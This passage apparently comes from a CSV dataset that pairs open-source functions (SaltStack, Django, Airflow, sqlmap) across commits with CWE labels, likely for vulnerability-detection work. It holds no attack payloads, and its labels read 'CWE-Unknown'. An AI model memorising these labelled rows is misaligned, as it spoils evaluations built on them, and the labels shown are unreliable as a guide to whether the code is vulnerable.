                       'new': '<new-version>'}}

    If an attribute list is specified in ``diff_attr``, the dict will also contain
    any specified attribute, eg.::

        {'<package>': {
            'old': {
                'version': '<old-version>',
                'arch': '<old-arch>'},

            'new': {
                'version': '<new-version>',
                'arch': '<new-arch>'}}}
    '''
    if refresh:
        refresh_db()

    try:
        pkg_params, pkg_type = __salt__['pkg_resource.parse_targets'](name, pkgs, sources, **kwargs)
    except MinionError as exc:
        raise CommandExecutionError(exc)

    if pkg_params is None or len(pkg_params) == 0:
        return {}

    version_num = Wildcard(__zypper__)(name, version)
    if pkg_type == 'repository':
        targets = []
        for param, version_num in six.iteritems(pkg_params):
            if version_num is None:
                log.debug('targeting package: %s', param)
                targets.append(param)
            else:
                prefix, verstr = salt.utils.pkg.split_comparison(version_num)
                if not prefix:
                    prefix = '='
                target = '{0}{1}{2}'.format(param, prefix, verstr)
                log.debug('targeting package: %s', target)
                targets.append(target)
    elif pkg_type == 'advisory':
        targets = []
        cur_patches = list_patches()
        for advisory_id in pkg_params:
            if advisory_id not in cur_patches:
                raise CommandExecutionError('Advisory id ""{0}"" not found'.format(advisory_id))
            else:
                targets.append(advisory_id)
    else:
        targets = pkg_params

    diff_attr = kwargs.get(""diff_attr"")
    old = list_pkgs(attr=diff_attr) if not downloadonly else list_downloaded()
    downgrades = []
    if fromrepo:
        fromrepoopt = ['--force', '--force-resolution', '--from', fromrepo]
        log.info('Targeting repo \'%s\'', fromrepo)
    else:
        fromrepoopt = ''
    cmd_install = ['install', '--auto-agree-with-licenses']

    cmd_install.append(kwargs.get('resolve_capabilities') and '--capability' or '--name')

    if not refresh:
        cmd_install.insert(0, '--no-refresh')
    if skip_verify:
        cmd_install.insert(0, '--no-gpg-checks')
    if downloadonly:
        cmd_install.append('--download-only')
    if fromrepo:
        cmd_install.extend(fromrepoopt)

    errors = []
    if pkg_type == 'advisory':
        targets = [""patch:{0}"".format(t) for t in targets]

    # Split the targets into batches of 500 packages each, so that
    # the maximal length of the command line is not broken
    systemd_scope = _systemd_scope()
    while targets:
        cmd = cmd_install + targets[:500]
        targets = targets[500:]
        for line in __zypper__(no_repo_failure=ignore_repo_failure, systemd_scope=systemd_scope).call(*cmd).splitlines():
            match = re.match(r""^The selected package '([^']+)'.+has lower version"", line)
            if match:
                downgrades.append(match.group(1))

    while downgrades:
        cmd = cmd_install + ['--force'] + downgrades[:500]
        downgrades = downgrades[500:]
        __zypper__(no_repo_failure=ignore_repo_failure).call(*cmd)

    _clean_cache()
    new = list_pkgs(attr=diff_attr) if not downloadonly else list_downloaded()

    # Handle packages which report multiple new versions
    # (affects only kernel packages at this point)
    for pkg_name in new:
        pkg_data = new[pkg_name]
        if isinstance(pkg_data, six.string_types):
            new[pkg_name] = pkg_data.split(',')[-1]

    ret = salt.utils.data.compare_dicts(old, new)

    if errors:
        raise CommandExecutionError(
            'Problem encountered {0} package(s)'.format(
                'downloading' if downloadonly else 'installing'
            ),
            info={'errors': errors, 'changes': ret}
        )

    return ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/backends/postgresql/test_server_side_cursors.py,0,"def assertUsesCursor(self, queryset, num_expected=1):
        next(queryset)  # Open a server-side cursor
        cursors = self.inspect_cursors()
        self.assertEqual(len(cursors), num_expected)
        for cursor in cursors:
            self.assertIn(""_django_curs_"", cursor.name)
            self.assertFalse(cursor.is_scrollable)
            self.assertFalse(cursor.is_holdable)
            self.assertFalse(cursor.is_binary)",CWE-Unknown,django/django,2c6e4a29b0de44739dc5719013f4f980c9f0d74d,"def assertUsesCursor(self, queryset, num_expected=1):
        next(queryset)  # Open a server-side cursor
        cursors = self.inspect_cursors()
        self.assertEqual(len(cursors), num_expected)
        for cursor in cursors:
            self.assertIn(""_django_curs_"", cursor.name)
            self.assertFalse(cursor.is_scrollable)
            self.assertFalse(cursor.is_holdable)
            self.assertFalse(cursor.is_binary)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/configuration.py,0,"def expand_env_var(env_var):
    """"""
    Expands (potentially nested) env vars by repeatedly applying
    `expandvars` and `expanduser` until interpolation stops having
    any effect.
    """"""
    if not env_var:
        return env_var
    while True:
        interpolated = os.path.expanduser(os.path.expandvars(str(env_var)))
        if interpolated == env_var:
            return interpolated
        else:
            env_var = interpolated",CWE-Unknown,apache/airflow,3bcb21b31e0e448daba12fa375765a8b2d465108,"def expand_env_var(env_var):
    """"""
    Expands (potentially nested) env vars by repeatedly applying
    `expandvars` and `expanduser` until interpolation stops having
    any effect.
    """"""
    while True:
        interpolated = os.path.expanduser(os.path.expandvars(str(env_var)))
        if interpolated == env_var:
            return interpolated
        else:
            env_var = interpolated"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        args = cmdLineParser()
        cmdLineOptions.update(args.__dict__ if hasattr(args, ""__dict__"") else args)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")

            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                target = None

                                try:
                                    kb.targets = OrderedSet()
                                    target = targets[i]

                                    if not re.search(r""(?i)\Ahttp[s]*://"", target):
                                        target = ""http://%s"" % target

                                    infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if target and not isinstance(ex, SqlmapUserQuitException):
                                        errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
                                        logger.error(errMsg)
                                    else:
                                        raise
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = ""user quit""
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        logger.critical(errMsg)

        os._exitcode = 1

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = ""exit""
        logger.error(errMsg)

    except SystemExit as ex:
        os._exitcode = ex.code or 0

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        os._exitcode = 255

        if any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
            errMsg = ""memory exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
            errMsg = ""no space left on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""The paging file is too small"",)):
            errMsg = ""no space left for paging file""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
            errMsg = ""permission error occurred while running Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Permission denied"", ""metasploit"")):
            errMsg = ""permission error occurred while using Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Read-only file system"" in excMsg:
            errMsg = ""output device is mounted as read-only""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Insufficient system resources"" in excMsg:
            errMsg = ""resource exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif ""OperationalError: disk I/O error"" in excMsg:
            errMsg = ""I/O error on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Violation of BIDI"" in excMsg:
            errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Invalid IPv6 URL"" in excMsg:
            errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""_mkstemp_inner"" in excMsg:
            errMsg = ""there has been a problem while accessing temporary files""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"", ""tempfile.py"")):
            errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
            errMsg += ""Please make sure that your disk is not full and ""
            errMsg += ""that you have sufficient write permissions to ""
            errMsg += ""create temporary files and/or directories""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Permission denied: '"" in excMsg:
            match = re.search(r""Permission denied: '([^']*)"", excMsg)
            errMsg = ""permission error occurred while accessing file '%s'"" % match.group(1)
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
            errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
            errMsg += ""(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""invalid maximum character passed to PyUnicode_New"" in excMsg and re.search(r""\A3\.[34]"", sys.version) is not None:
            errMsg = ""please upgrade the Python version (>= 3.5) ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue18183')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
            errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
            errMsg += ""(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""must be pinned buffer, not bytearray"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7. Please update accordingly ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue8104')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""OSError: [Errno 22] Invalid argument: '"", ""importlib"")):
            errMsg = ""unable to read file '%s'"" % extractRegexResult(r""OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)"", excMsg)
            logger.critical(errMsg)
            raise SystemExit

        elif ""hash_randomization"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7.3. Please update accordingly ""
            errMsg += ""(Reference: 'https://docs.python.org/2/library/sys.html')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Resource temporarily unavailable"", ""os.fork()"", ""dictionaryAttack"")):
            errMsg = ""there has been a problem while running the multiprocessing hash cracking. ""
            errMsg += ""Please rerun with option '--threads=1'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't start new thread"" in excMsg:
            errMsg = ""there has been a problem while creating new thread instance. ""
            errMsg += ""Please make sure that you are not running too many processes""
            if not IS_WIN:
                errMsg += "" (or increase the 'ulimit -u' value)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't allocate read lock"" in excMsg:
            errMsg = ""there has been a problem in regular socket operation ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
            errMsg = ""wrong initialization of 'pymsql' detected (using Python3 dependencies)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""ntlm"", ""socket.error, err"", ""SyntaxError"")):
            errMsg = ""wrong initialization of 'python-ntlm' detected (using Python2 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""drda"", ""to_bytes"")):
            errMsg = ""wrong initialization of 'drda' detected (using Python3 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'WebSocket' object has no attribute 'status'"" in excMsg:
            errMsg = ""wrong websocket library detected""
            errMsg += "" (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""window = tkinter.Tk()"",)):
            errMsg = ""there has been a problem in initialization of GUI interface ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""unable to access item 'liveTest'"",)):
            errMsg = ""detected usage of files from different versions of sqlmap""
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get(""dumpKeyboardInterrupt""):
            raise SystemExit

        elif any(_ in excMsg for _ in (""Broken pipe"",)):
            raise SystemExit

        elif valid is False:
            errMsg = ""code integrity check failed (turning off automatic issue creation). ""
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in ""%s\n%s"" % (errMsg, excMsg) for _ in (""tamper/"", ""waf/"", ""--engagement-dojo"")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", ""<frozen"", ""Can't find file for module"", ""SAXReaderNotAvailable"", ""source code string cannot contain null bytes"", ""No module named"", ""tp_name field"", ""module 'sqlite3' has no attribute 'OperationalError'"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""SyntaxError: Non-ASCII character"", "".py on line"", ""but no encoding declared"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""_'"")):
            errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""sqlmap.conf"", ""Test"")):
            errMsg = ""you are trying to run (hidden) development tests inside the production environment""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""HTTPNtlmAuthHandler"", ""'str' object has no attribute 'decode'"")):
            errMsg = ""package 'python-ntlm' has a known compatibility issue with the ""
            errMsg += ""Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
            errMsg = ""there has been a problem in enumeration. ""
            errMsg += ""Because of a considerable chance of false-positive case ""
            errMsg += ""you are advised to rerun with switch '--flush-session'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""AttributeError: 'module' object has no attribute 'F_GETFD'"" in excMsg:
            errMsg = ""invalid runtime (\""%s\"") "" % excMsg.split(""Error: "")[-1].strip()
            errMsg += ""(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""bad marshal data (unknown type code)"" in excMsg:
            match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
            errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
            errMsg += "". Please delete .pyc files on your system to fix the problem""
            logger.critical(errMsg)
            raise SystemExit

        for match in re.finditer(r'File ""(.+?)"", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace(""\\"", '/')
            if ""../"" in file_:
                file_ = re.sub(r""(\.\./)+"", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r""/{2,}"", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get(""api"") or not valid:
            logger.critical(""%s\n%s"" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout(""%s\n"" % setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = ""your sqlmap version is outdated""
            logger.warn(warnMsg)

        if conf.get(""showTime""):
            dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)
            conf.hashDB.close()         # NOTE: because of PyPy

        if conf.get(""harFile""):
            try:
                with openFile(conf.harFile, ""w+b"") as f:
                    json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get(""api""):
            conf.databaseCursor.disconnect()

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()",,sqlmapproject/sqlmap,be987815c9c0da160a413b60ea8e9fbd5a2a91ff,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        args = cmdLineParser()
        cmdLineOptions.update(args.__dict__ if hasattr(args, ""__dict__"") else args)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")

            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                target = None

                                try:
                                    kb.targets = OrderedSet()
                                    target = targets[i]

                                    if not re.search(r""(?i)\Ahttp[s]*://"", target):
                                        target = ""http://%s"" % target

                                    infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if target and not isinstance(ex, SqlmapUserQuitException):
                                        errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
                                        logger.error(errMsg)
                                    else:
                                        raise
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = ""user quit""
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        logger.critical(errMsg)

        os._exitcode = 1

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = ""exit""
        logger.error(errMsg)

    except SystemExit as ex:
        os._exitcode = ex.code or 0

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        os._exitcode = 255

        if any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
            errMsg = ""memory exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
            errMsg = ""no space left on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""The paging file is too small"",)):
            errMsg = ""no space left for paging file""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
            errMsg = ""permission error occurred while running Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Permission denied"", ""metasploit"")):
            errMsg = ""permission error occurred while using Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Read-only file system"" in excMsg:
            errMsg = ""output device is mounted as read-only""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Insufficient system resources"" in excMsg:
            errMsg = ""resource exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif ""OperationalError: disk I/O error"" in excMsg:
            errMsg = ""I/O error on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Violation of BIDI"" in excMsg:
            errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Invalid IPv6 URL"" in excMsg:
            errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""_mkstemp_inner"" in excMsg:
            errMsg = ""there has been a problem while accessing temporary files""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"", ""tempfile.py"")):
            errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
            errMsg += ""Please make sure that your disk is not full and ""
            errMsg += ""that you have sufficient write permissions to ""
            errMsg += ""create temporary files and/or directories""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Permission denied: '"" in excMsg:
            match = re.search(r""Permission denied: '([^']*)"", excMsg)
            errMsg = ""permission error occurred while accessing file '%s'"" % match.group(1)
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
            errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
            errMsg += ""(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
            errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
            errMsg += ""(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""must be pinned buffer, not bytearray"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7. Please update accordingly ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue8104')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""OSError: [Errno 22] Invalid argument: '"", ""importlib"")):
            errMsg = ""unable to read file '%s'"" % extractRegexResult(r""OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)"", excMsg)
            logger.critical(errMsg)
            raise SystemExit

        elif ""hash_randomization"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7.3. Please update accordingly ""
            errMsg += ""(Reference: 'https://docs.python.org/2/library/sys.html')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Resource temporarily unavailable"", ""os.fork()"", ""dictionaryAttack"")):
            errMsg = ""there has been a problem while running the multiprocessing hash cracking. ""
            errMsg += ""Please rerun with option '--threads=1'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't start new thread"" in excMsg:
            errMsg = ""there has been a problem while creating new thread instance. ""
            errMsg += ""Please make sure that you are not running too many processes""
            if not IS_WIN:
                errMsg += "" (or increase the 'ulimit -u' value)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't allocate read lock"" in excMsg:
            errMsg = ""there has been a problem in regular socket operation ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
            errMsg = ""wrong initialization of 'pymsql' detected (using Python3 dependencies)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""ntlm"", ""socket.error, err"", ""SyntaxError"")):
            errMsg = ""wrong initialization of 'python-ntlm' detected (using Python2 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""drda"", ""to_bytes"")):
            errMsg = ""wrong initialization of 'drda' detected (using Python3 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'WebSocket' object has no attribute 'status'"" in excMsg:
            errMsg = ""wrong websocket library detected""
            errMsg += "" (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""window = tkinter.Tk()"",)):
            errMsg = ""there has been a problem in initialization of GUI interface ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""unable to access item 'liveTest'"",)):
            errMsg = ""detected usage of files from different versions of sqlmap""
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get(""dumpKeyboardInterrupt""):
            raise SystemExit

        elif any(_ in excMsg for _ in (""Broken pipe"",)):
            raise SystemExit

        elif valid is False:
            errMsg = ""code integrity check failed (turning off automatic issue creation). ""
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in ""%s\n%s"" % (errMsg, excMsg) for _ in (""tamper/"", ""waf/"", ""--engagement-dojo"")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", ""<frozen"", ""Can't find file for module"", ""SAXReaderNotAvailable"", ""source code string cannot contain null bytes"", ""No module named"", ""tp_name field"", ""module 'sqlite3' has no attribute 'OperationalError'"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""SyntaxError: Non-ASCII character"", "".py on line"", ""but no encoding declared"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""_'"")):
            errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""sqlmap.conf"", ""Test"")):
            errMsg = ""you are trying to run (hidden) development tests inside the production environment""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""HTTPNtlmAuthHandler"", ""'str' object has no attribute 'decode'"")):
            errMsg = ""package 'python-ntlm' has a known compatibility issue with the ""
            errMsg += ""Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
            errMsg = ""there has been a problem in enumeration. ""
